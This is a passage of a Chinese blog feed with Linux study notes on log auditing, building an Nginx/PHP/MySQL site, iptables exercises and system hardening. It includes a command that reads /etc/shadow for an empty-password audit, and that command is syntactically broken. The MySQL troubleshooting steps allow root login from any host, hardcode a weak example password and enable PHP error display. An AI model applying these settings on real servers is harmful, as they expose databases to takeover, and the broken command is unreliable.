https://www.shellpub.com/doc/hm_linux_usage.html
深信服Webshell网站后门检测工具
网址：https://edr.sangfor.com.cn/#/index/home

&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Linux 日志审计</title><link>https://wangyi187.top/posts/os-17-linux-audit/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-17-linux-audit/</guid><description>Linux日志审计 Linux日志分类 日志功能 日志服务配置文件 tail 日志保存位置：默认位于/var/log目录下 more 单页查看 cat 一次性查看全部内容 用户日志</description><pubDate>Sat, 27 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Linux日志审计&lt;/h1&gt;
&lt;h2&gt;Linux日志分类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;内核及系统日志
✓由系统syslog统一进行管理，日志格式基本相似
用户日志
✓记录系统用户登录及退出系统的相关信息
程序日志
✓由各种应用程序独立管理的日志文件，记录格式不统一（如http）
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;日志功能&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;用于记录系统、程序运行中发生的各种事件
通过阅读日志，有助于诊断和解决系统故障
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;日志服务配置文件&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/rsyslog.conf
 authpriv.*		[服务名].[日志级别]
 
日志消息的级别
0 EMERG（紧急）：会导致主机系统不可用的情况
1 ALERT（警告）：必须马上采取措施解决问题
2 CRIT（严重）：比较严重的情况
3 ERR（错误）：运行出现错误
4 WARNING （提醒）：可能会影响系统功能的事件
5 INFO（信息）：一般信息
6 DEBUG（调试）：程序或系统调试信息等
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;tail&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;tail 文件名	//查看文件末尾10行内容（默认）
tail -n 30 文件名		//查看文件末尾30行内容
tail -f 文件名		//输出文件末尾行，当文件有追加时，会输出后续添加的行，不中断输出，除非ctrl+c中断
tail -f file.log | grep “关键字”	//输出文件末尾包含关键字的行，当文件有追加时，会输出后续添加的行，不
中断输出，除非ctrl+c中断

tail -n 100 file.log | grep “关键字”	# 输出文件的后100行中包含的关键字的行（-n 100即 –lines=100）
tail -n 100 file.log | grep “关键字” -A10	# 输出文件的后100行中包含关键字的行和该行的后10行
tail -n 100 file.log | grep “关键字” -B10	# 输出文件的后100行中包含关键字的行和该行的前10行
tail -n 100 file.log | grep “关键字” –B10-A10	# 输出文件的后100行中包含关键字的行和该行的前后10行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;日志保存位置：默认位于/var/log目录下&lt;/p&gt;
&lt;p&gt;more --- 单页查看&lt;/p&gt;
&lt;p&gt;cat --- 一次性查看全部内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;日志记录的一般格式
Jan 27 02:37:19 OS5 sshd[3120]: Accepted password for zf from 192.168.81.1 port 51674 ssh2
    时间标签     主机名   子系统		消息字段
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;用户日志文件&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;◼保存了用户登录、退出系统等相关信息
/var/log/lastlog：最近的用户登录事件
/var/log/wtmp:用户登录、注销及系统开、关机事件
/var/log/utmp：当前登录的每个用户的详细信息
/var/log/secure：与用户验证相关的安全性事件
◼分析工具
users、who、w、last、lastb

last --- 用户登录成功 --- wtmp
lastb --- 用户登录失败 --- btmp

/var/log/btmp 记录错误登录日志，这个文件是二进制文件，不能直接vi查看，而要使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志，这个文件是二进制文件，不能直接vi，而要使用lastlog命令查看
/var/log/wtmp 永久记录所有用户的登录、注销信息，同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件，不能直接vi，而需要使用last命令来查看
/var/log/utmp 记录当前已经登录的用户信息，这个文件会随着用户的登录和注销不断变化，只记录当前登录用户的信息。同样这个文件不能直接vi，而要使用w,who,users等命令来查询
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;★/var/log/secure 记录验证和授权方面的信息，只要涉及账号和密码的程序都会记录，比如SSH登录，su切换用户，sudo授权，甚至添加用户和修改用户密码都会记录在这个日志文件中
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;程序日志分析&lt;/h2&gt;
&lt;p&gt;例：http&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yum -y install httpd	//安装服务
systemctl start httpd	//启动服务

默认网页根目录：/var/www/html
日志位置：/var/log/httpd
access_log，error_log
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;◼ 由相应的应用程序独立进行管理
Web服务：/var/log/httpd
✓ access_log、error_log
代理服务：/var/log/squid
✓ access.log、cache.log
FTP服务：/var/log/xferlog
◼ 分析工具
文件查看、grep过滤检索、Webmin管理套件中查看
awk、sed等文本过滤、格式化编辑工具
Webalizer、Awstats等专用日志分析工具
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;日志文件&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;★/var/log/message 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息，如果系统出现问题时，首先要检查的就应该是这个日志文件
/var/log/boot.log -&amp;gt; 包含系统启动时的日志
/var/log/utmp -&amp;gt; 包含登录退出信息
/var/log/secure -&amp;gt; 包含验证和授权信息
/var/log/dpkg.log -&amp;gt; 包含安装或dpkg命令清除软件包的日志
/var/log/kern.log -&amp;gt; 包含内核产生的日志，有助于在定制内核时解决问题
/var/log/Xorg.x.log -&amp;gt; 来自X的日志信息
/var/log/alternatives.log -&amp;gt; 更新替代信息都记录在这个文件中
/var/log/cups -&amp;gt; 涉及所有打印信息的日志
/var/log/anaconda.log -&amp;gt; 在安装Linux时，所有安装信息都储存在这个文件中
/var/log/yum.log -&amp;gt; 包含使用yum安装的软件包信息
/var/log/cron -&amp;gt; 每当cron进程进行一个工作，就会将相关信息记录在此文件中
/var/log/dmesg 记录了系统在开机时内核自检的信息，也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog 记录邮件信息

内核及公共消息日志 • /var/log/messages
计划任务日志 • /var/log/cron
系统引导日志 • /var/log/dmesg
邮件系统日志 • /var/log/maillog
用户登录日志
• /var/log/lastlog
• /var/log/secure
• /var/log/wtmp
• /var/log/btmp
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;日志记录的一般格式
Jan 27 02:37:19 OS5 sshd[3120]: Accepted password for zf from 192.168.81.1 port 51674 ssh2
    时间标签     主机名   子系统		消息字段
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;日志服务器&lt;/h2&gt;
&lt;p&gt;安全设备：日志审计系统&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h3&gt;被登录的服务器 --- 外发日志&lt;/h3&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;vi /etc/rsyslog.conf
*.* @@remote-host:514
服务.级别
@@ --- TCP
@ --- UDP
remote-host：接收日志的IP地址
authpriv.* @@20.20.20.1:514

systemctl restart rsyslog
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h3&gt;日志服务器 --- 接收日志&lt;/h3&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;vi /etc/rsyslog.conf
:fromhost-ip,isequal,&quot;外发日志的IP&quot;/var/log/CLIENT/20.20.20.2.log

fromhost-ip：从哪个IP接收日志
isequal：包含信息

systemctl restart rsyslog
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Linux 网站搭建</title><link>https://wangyi187.top/posts/os-18-linux-website/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-18-linux-website/</guid><description>Linux网站搭建 LNMP：Linux+Nginx+MySQL+PHP LAMP：Linux+apache+MySQL+PHP 库站分离 Nginx nginx下载链接：http</description><pubDate>Sat, 27 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Linux网站搭建&lt;/h1&gt;
&lt;p&gt;LNMP：Linux+Nginx+MySQL+PHP&lt;/p&gt;
&lt;p&gt;LAMP：Linux+apache+MySQL+PHP&lt;/p&gt;
&lt;p&gt;库站分离&lt;/p&gt;
&lt;h2&gt;Nginx&lt;/h2&gt;
&lt;p&gt;nginx下载链接：https://nginx.org/en/download.html&lt;/p&gt;
&lt;p&gt;编译环境（依赖环境）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.安装环境
  yum -y install  gcc-c++  pcre-devel  zlib-devel 
2.下载
  wget https://nginx.org/download/nginx-1.22.1.tar.gz
tar -zxvf nginx-1.22.1.tar.gz   //解压安装包
3.源码安装
  ./configure	--prefix=路径		//指定编译安装目录，默认目录位置在/usr/local
  make&amp;amp;&amp;amp;make install		//编译与安装
4.启动服务
  cd 安装目录
  ./sbin/nginx	//执行文件启动服务
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/profile
 export NGINX_PATH=/usr/local/nginx/sbin
 export PATH=$PATH:$NGINX_PATH
source /etc/profile		//重新加载该配置文件
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;nginx -v		//查看nginx版本
nginx -s stop	//停止
nginx -s quit	//退出
nginx -s reopen	//重启
nginx -s reload	//重新加载
nginx -c /usr/local/nginx/conf/nginx.conf	//指定主配置文件并开启服务
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nginx主配置文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/local/nginx/conf/nginx.conf
 http {
    include       mime.types;	//文件扩展名与文件类型映射表
    default_type  application/octet-stream;   //默认文件类型
    sendfile        on;			//支持文件发送（下载）
    keepalive_timeout  65;		//连接保持超时时间
    server {					//web服务监听配置
        listen       80;			//监听端口
        server_name  localhost;	//网站名称
                location / {				//定义安装目录为软件根目录
            root   html;			//网页存放目录
            index  index.html index.htm;	//默认索引网页
        }
        error_page   500 502 503 504  /50x.html; 	//错误页面
        location = /50x.html {		//错误页面配置
            root   html;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PHP-fpm&lt;/h2&gt;
&lt;p&gt;下载链接：https://www.php.net/downloads.php&lt;/p&gt;
&lt;p&gt;更换yum源&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
yum -y install epel-release-latest-7.noarch.rpm   //安装源
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装所有扩展&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yum -y install php72w-cli php72w-common php72w-devel php-mysqli php72w-fpm php72w php72w-cli php72w-fpm php72w-curl php72w-gd php72w-mysql php72w-xml php72w-mbstring
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编辑文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/php.ini
 short_open_tag = On
whereis php.ini		//查看php.ini文件相关路径
systemctl start php-fpm		//启动服务
php -v		//查看PHP版本
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nginx解析PHP&lt;/h2&gt;
&lt;p&gt;编辑nginx配置文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /安装路径/conf/
vim nginx.conf
 location ~ \.php$ {
            root		html;   		     //php网页根目录
            fastcgi_pass   127.0.0.1:9000;  //php-fpm的监听地址
            fastcgi_index  index.php;         //php首页文件
            fastcgi_param  SCRIPT_FILENAME  /usr/local/nginx/html$fastcgi_script_name;	//网站根目录
            include        fastcgi_params;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;测试验证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;在网站根目录（/安装路径/html/）创建index.php
 &amp;lt;?
 phpinfo();
 ?&amp;gt;
可以成功访问http://web服务器IP/index.php
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;MySQL&lt;/h2&gt;
&lt;p&gt;下载链接： https://downloads.mysql.com/archives/community/&lt;/p&gt;
&lt;p&gt;安装MySQL&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.下载
  wget https://downloads.mysql.com/archives/get/p/23/file/mysql-8.0.30-1.el7.x86_64.rpm-bundle.tar
  
  scp mysql-8.0.30-1.el7.x86_64.rpm-bundle.tar zyl@192.168.137.131:/home/zyl/Desktop/
  
  tar -xvf mysql-8.0.30-1.el7.x86_64.rpm-bundle.tar  //解压包
2.安装
  rpm -ivh mysql-community-server-8.0.30-1.el7.x86_64.rpm
3.安装过程报错处理
  error: Failed dependencies:	//报错缺少哪些依赖，就安装哪些依赖
  error: Failed dependencies:  mariadb-libs is obsoleted by mysql-community-libs-8.0.30-1.el7.x86_64		//在MySQL8.0中，Linux默认的mariadb-libs已废弃，需要卸载mariadb-libs
  yum remove mariadb-libs.x86_64	//卸载mariadb-libs  
4.systemctl start mysqld	//启动服务
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录MySQL&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql -u root -p 密码

grep &quot;password&quot; /var/log/mysqld.log
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ALTER USER &apos;root&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;密码&apos;;	//初次使用需要修改密码
show variables like &apos;validate_password%&apos;;	//查看密码复杂度
use mysql;		//使用/进入数据库
select host,user from user;		//查询数据库的用户信息
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PHP连接MySQL&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?
$servername = &quot;MySQL服务器IP&quot;;
$username = &quot;用户名&quot;;
$password = &quot;密码&quot;;
$conn = new mysqli($servername, $username, $password);
if ($conn-&amp;gt;connect_error) {
    die(&quot;数据库连接失败: &quot; . $conn-&amp;gt;connect_error);
}
echo &quot;数据库连接成功&quot;;
phpinfo();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;测试验证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;报错处理：
1.数据库连接失败: Host &apos;192.168.81.100&apos; is not allowed to connect to this MySQL server
  update user set host=&apos;%&apos; where user=&apos;root&apos;;		//支持远程登录root
  flush privileges;	//刷新权限设置
2.数据库连接失败: Authentication plugin &apos;caching sha2 password cannot be loaded: /usr/lib64/mysql/plugin(caching sha2 password.so: cannot openshared object file: No such file or directory
  alter user &apos;root&apos;@&apos;%&apos; identified with mysql_native_password by &apos;password&apos;;	//修改身份验证插件
物理机访问显示“数据库连接成功”

mysqli搜索 --- Active Links 为 1 才代表成功


以上错误都解决的情况下：
开启php报错显示：
vim /etc/php.ini
display_errors = On
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;导入源码系统&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim includes/db.php

$db[&apos;db_host&apos;] = &quot;192.168.137.131&quot;;
$db[&apos;db_user&apos;] = &quot;root&quot;;
$db[&apos;db_pass&apos;] = &quot;Aa@123456&quot;;
$db[&apos;db_name&apos;] = &quot;cms&quot;;

数据库：
创建数据库
create database cms;
show databases;
导入数据库文件
use cms;
source cms.sql
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>iptables 防火墙笔记</title><link>https://wangyi187.top/posts/os-20-iptables/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-20-iptables/</guid><description>iptables 1 防火墙介绍 1.1 防火墙分类 1.2 防火墙功能 2 iptables和Firewalls介绍 3 实验环境准备 4 iptables内容详解 4.1 五条</description><pubDate>Sat, 27 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;iptables&lt;/h1&gt;
&lt;h2&gt;1 防火墙介绍&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;防火墙作为内部网与外部网之间的一种访问控制设备， 常常安装在内部网络和外部网络的边际上。防火墙具有很好的网络安全保护作用。入侵者必须首先穿越防火墙的安全防线，才能接触目标计算机。你可以将防火墙配置成许不同保护级别。高级别的保护可能会禁止一些服务，如视频流等，但至少这是你自己的保护选择。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.1 防火墙分类&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;①硬件防火墙
②软件防火墙
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.2 防火墙功能&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;①Internet防火墙可以防止Internet上的危险传播到网络内部；
②能强化安全策略;
③能有效记录Internet上的活动;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 iptables和Firewalls介绍&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;netfilter ----- iptables和Firewalls

firewalld跟iptables主要有以下区别：
1 firewalls的默认规则是拒绝，需要时设置开启，iptables正好相反。
2 firewalls可以动态修改单条规则，而且直接生效
3 firewalls简单易用，即使不理解各种数据包规则，也可以实现大部分功能。
4 想要真正学会防火墙规则，强烈推荐学习iptables。


firewall-config   //触发图形化
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 实验环境准备&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;三台虚拟机
client：VM5     1.1.1.1   网关：2.2.2.2

出口路由/server：VM5 2.2.2.2 / VM6 3.3.3.3
- route add -net 1.1.1.0/24 dev ens33
- route add -net 4.4.4.0/24 dev ens36
- 如果你期间重启网络服务，默认删除添加的路由信息
- /proc/sys/net/ipv4/ip_forward   路由转发功能有开启，就能访问

web：VM6   4.4.4.4		网关：3.3.3.3


关闭Firewalls和selinux
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4 iptables内容详解&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;• iptables不是一个单一的软件工具，而是一套C/S样式的软件组，它是由工作在用户空间的iptables和工作在内核空间的Netfilter模块组成，一般统称为Iptables。
• 用户基于用户空间的iptables软件，来设定各种包过滤规则，借助于后端内核空间的Netfilter模块实现非常强大的防火墙功能，Netfilter实现的功能主要体现在数据包过滤、数据包重定向、网络地址转换等方面。
• 默认情况下，iptables主要工作在0SI模型中的的2~4层，我们还可以通过重编内核，让iptables支持7层的数据包管理。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.1 五条链&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PREROUTING 你找谁？我推荐你去找XXX
- 数据包进行路由决策前应用的规则，一般用于改变数据包的目标地址，不让别人知道我找谁

INPUT 来了老弟
- 数据包经过路由决策后，进入到本机处理时应用的规则，一般用于本机进程处理的数据包
OUTPUT 走了老弟
- 新建数据包经路由决策后，从本机输出时应用的规则，一般用于本机处理后的数据包
FORWARD 来去匆匆
- 数据包经过路由决策后，本机不做处理，仅仅是转发数据包时应用的规则

POSTROUTING 去哪？我给你指另一条路
- 数据包作从本机出去前，对数据包应用的规则，一般用于更改数据包的源地址信息，不让给别人知道我是谁
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.2 五张表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;在netfilter的内存区域中，这五个表是security表、filter表、NAT表、mangle表和raw表，他们分别作用的对象是不一样的
security表： 主要针对的是数据链路层的管理规则组合，只不过它是基于target（目标）来做操作的。
☆filter表：是netfilter中最重要的表，也是默认的表，主要负责数据包的过滤功能。
☆nat表：主要实现网络地址转换的表。可以自由转换数据报文中IP和PORT。
mangle表：主要实现数据包的拆分-修改-封装动作。
raw表：通过关闭nat表的追踪功能，从而实现加速防火墙过滤的表。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.3 链与表之间的关系&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;表中链
security表 ：input 、output、forward
filter过滤表 ：input 、output、forward
nat 转换表 ：postrouting、prerouting、input 、output
mangle封装表 ：input、output、forward、prerouting、postrouting
raw自定义表 ：prerouting、output

链属表
prerouting ：nat、mangle、raw
postrouting ：nat、mangle
input ：filter、mangle、security
output ：filter、nat、mangle、raw、security
forward ：filter、mangle、security
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5 安装iptables&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;①永久关闭firewalld
systemctl stop firewalld
systemctl disable firewalld
②查看iptables软件包
yum list | grep iptables
③安装iptables与iptables-services
yum –y install iptables
yum –y install iptables-services
服务相关命令：
systemctl start|stop iptables
// 开启|关闭 iptables
systemctl status iptables
// 查看iptables状态
systemctl enable|disable iptables
// 开机自启|永久关闭 iptables
iptables –help
// 查看帮助文档
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.1 iptables配置操作&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;查看现有规则 iptables -L
target     prot opt source               destination
动作		 协议	 参数  源地址				目标地址

iptables -t 表 -L  //查看其他表的规则

查看现有规则，主机名和端口不做解析 iptables -nL
显示现有规则详细信息 iptables –nvL
显示带标号的规则 iptables -nL --line-number
清除规则 iptables -D INPUT 1
全部清空规则 iptables -F

常用命令选项：
-A 追加，放置最后一条
-I 插入，默认插入成第一条
-D 删除
-F 清空flush
-P 设置默认策略policy
-j {ACCEPT|DROP|REJECT}
-p {TCP|UDP|ICMP}


&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.2 iptables需求配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;需求1：禁止web端访问server端和client端
iptables -t filter -A INPUT -s 4.4.4.4 -j DROP
iptables -t filter -A FORWARD -s 4.4.4.4 -j DROP



需求2：
①只允许server端ping通其他主机，不允许其他主机ping通server端
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -t filter -A INPUT -p icmp --icmp-type 0 -j ACCEPT 
iptables -t filter -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT 
- 0 是应答包
- 8 是请求包

②允许client端ping通web端，不允许web端ping通client端
iptables -P FORWARD DROP
iptables -t filter -A FORWARD -s 1.1.1.1 -p icmp --icmp-type 8 -j ACCEPT 
iptables -t filter -A FORWARD -p icmp --icmp-type 0 -j ACCEPT



需求3：禁止web端访问client端的80和22号端口
iptables -t filter -A FORWARD -s 4.4.4.4 -p tcp --dport 80 -j DROP
iptables -t filter -A FORWARD -s 4.4.4.4 -p tcp --dport 22 -j DROP
优化：
iptables -t filter -A FORWARD -s 4.4.4.4 -p tcp --dport 22:80 -j DROP
- 22-80端口
优化：
iptables -t filter -A FORWARD -s 4.4.4.4 -p tcp -m multiport --dport 22,80 -j DROP
- multiport模块，提供多端口同时选取的功能，减少iptables的匹配量



需求4：禁止4.4.4.1 - 4.4.4.20网段内的主机访问server端的22和80号端口
iptables -t filter -A INPUT -m iprange --src-range 4.4.4.1-4.4.4.20 -p tcp -m multiport --dport 22,80 -j DROP
- iprange 模块进行多ip同时选取




需求5：只开放主机server端的FTP服务
vim /etc/sysconfig/iptables-config
IPTABLES_MODULES=&quot;nf_conntrack_ftp&quot;
systemctl restart iptables.service

iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -t filter -A INPUT -p tcp --dport 20:21 -j ACCEPT
iptables -t filter -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -t filter -A OUTPUT -m state --state ESTABLISHED -j ACCEPT


state模块，五个报文
NEW、ESTABLISHED、RELATED、INVALID、UNTRACKED

NEW：连接中的第一个包，状态就是NEW，我们可以理解为新连接的第一个包的状态为NEW。
ESTABLISHED：我们可以把NEW状态包后面的包的状态理解为ESTABLISHED，表示连接已建立。
RELATED：主机与目标主机已经进行通信，目标主机发起新链接。
INVALID：如果一个包没有办法被识别，或者这个包没有任何状态，那么这个包的状态就是INVALID，我们可以主动屏蔽状态为INVALID的报文。
UNTRACKED：报文的状态为untracked时，表示报文未被追踪，当报文的状态为Untracked时通常表示无法找到相关的连接。


拓展：只开放主机web端的FTP服务
vim /etc/sysconfig/iptables-config
IPTABLES_MODULES=&quot;nf_conntrack_ftp&quot;
systemctl restart iptables.service

iptables -P FORWARD DROP
iptables -t filter -A FORWARD -p tcp --dport 20:21 -j ACCEPT
iptables -t filter -A FORWARD -p tcp --sport 20:21 -j ACCEPT
iptables -t filter -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6 iptables的nat实践操作&lt;/h2&gt;
&lt;h3&gt;6.1 环境变更&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;client 2.2.2.1    网关 2.2.2.2
出口路由 不变
web 3.3.3.1   删除网关
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.2 需求解决&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;snat
内网访问外网 ---- 私有地址转换公有地址
iptables -t nat -A POSTROUTING -s 2.2.2.0/24 -j SNAT --to 3.3.3.3


dnat
外网访问内网 ---- 公有地址转换私有地址
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 2.2.2.1
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Linux 安全加固</title><link>https://wangyi187.top/posts/os-19-linux-hardening/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-19-linux-hardening/</guid><description>Linux安全加固 1 设备管理 1.1 管理远程工具 1.2 ssh服务加固 1.3 访问控制 1.4 pam模块 2 用户与口令安全 3 禁用不必要的系统服务 4 安全防护 5</description><pubDate>Sat, 27 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Linux安全加固&lt;/h1&gt;
&lt;h2&gt;1 设备管理&lt;/h2&gt;
&lt;h3&gt;1.1 管理远程工具&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;SSH协议可以有效的防止远程管理过程中的信息泄露问题，绝大多数企业普遍采用SSH协议服务来代替传统的不安全的远程连接服务器软件等。
地址、账户、口令

本地---》对方
scp 文件 用户名@ip:路径

对方---》本地
scp 用户名@ip:路径/文件 .
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.2 ssh服务加固&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/ssh/sshd_config
    Port 2200
    AddressFamily any
    ListenAddress 0.0.0.0
    ListenAddress ::

防火墙：
1.关闭Firewalls和selinux
2.firewall-cmd --zone=public --add-port=2200/tcp --permanent
firewall-cmd --reload
firewall-cmd --list-port

semanage port -l | grep ssh
semanage port -a -t ssh_port_t -p tcp 2200 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3 访问控制&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;①/etc/hosts.allow  白名单
②/etc/hosts.deny   黑名单
格式：
服务名：ip或ip段
即时生效的文件
sshd:192.168.137.0/24
sshd:192.168.137.

最安全的策略：
黑名单拒绝所有，白名单放行对应的服务

优先级：白名单优先级高于黑名单
黑名单：ALL:ALL
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.4 pam模块&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PAM（Pluggable Authentication Modules ）是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API，将系统提供的服务 和该服务的认证方式分开，使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序，同时也便于向系统中添加新的认证手段。

PAM的文件：
/etc/pam.conf或者/etc/pam.d/ PAM配置文件
/usr/lib/security/pam_*.so 可动态加载的PAM service module
对于RedHat，其目录不是/usr/lib，而是/lib。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 用户与口令安全&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;2.1 限制系统没用的默认账户登录
passwd -l [用户名] #锁定用户
passwd -u [用户名] #解锁用户
usermod -L [用户名] #锁定用户
usermod -U [用户名] #解锁用户
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;2.2 root用户远程登录控制
相关文件：
/etc/ssh/sshd_config
修改参数
PermitRootLogin no 
# 不允许root用户远程登录
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;2.3 口令生存周期
相关文件：
/etc/login.defs   # 此文件配置对Root账户无效

2.3.1 修改口令生存周期
相关文件：
/etc/login.defs
#此文件即时生效
建议值：
PASS_MAX_DAYS 180 # 密码最大使用天数
PASS_MIN_DAYS 1 # 密码最小使用天数
PASS_MIN_LEN 8 # 密码最小长度
PASS_WARN_AGE 28 # 密码到期提前提醒天数

2.3.2 修改登录认证限制
相关文件：
/etc/pam.d/system-auth   //配置用户身份验证、授权和账户管理的文件
Linux-PAM 嵌入式身份认证模块  --- 分层体系结构
第一层 模块层
组件 				功能
☆auth 		认证接口，要求并验证密码（配置登录处理功能）
account 	检测是否允许访问（跟认证无关的账户检测机制）
☆password 	设置并验证密码（配置口令复杂度策略）
session 	配置和管理用户sesison（如果密码通过探针，就会打开一个会话，让我们跟系统交互）

第二层 应用接口层
控制标志 				功能
☆required 			必须success才能进行继续，即使失败用户也不会立刻获知，直到所有相关模块完成
☆requisite 			必须success才能使认证继续进行
suffifient 			如果失败则忽略
optinal 			忽略结果，不管是否失败


第三层 应用程序，程序文件

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;2.3.3 查看系统是否存在空口令账户
awk -F &apos;:&apos; &apos;if{($2 == &quot;&quot;) print $1 }&apos; /etc/shadow
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;2.4 控制用户登录会话
相关文件：
/etc/login.defs
添加参数
TMOUT=300 # 会话超时时间300S
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;2.5 检查是否存在除root用户外UID=0的用户
awk -F &apos;:&apos; &apos;($3 == 0) { print $1 }&apos; /etc/passwd
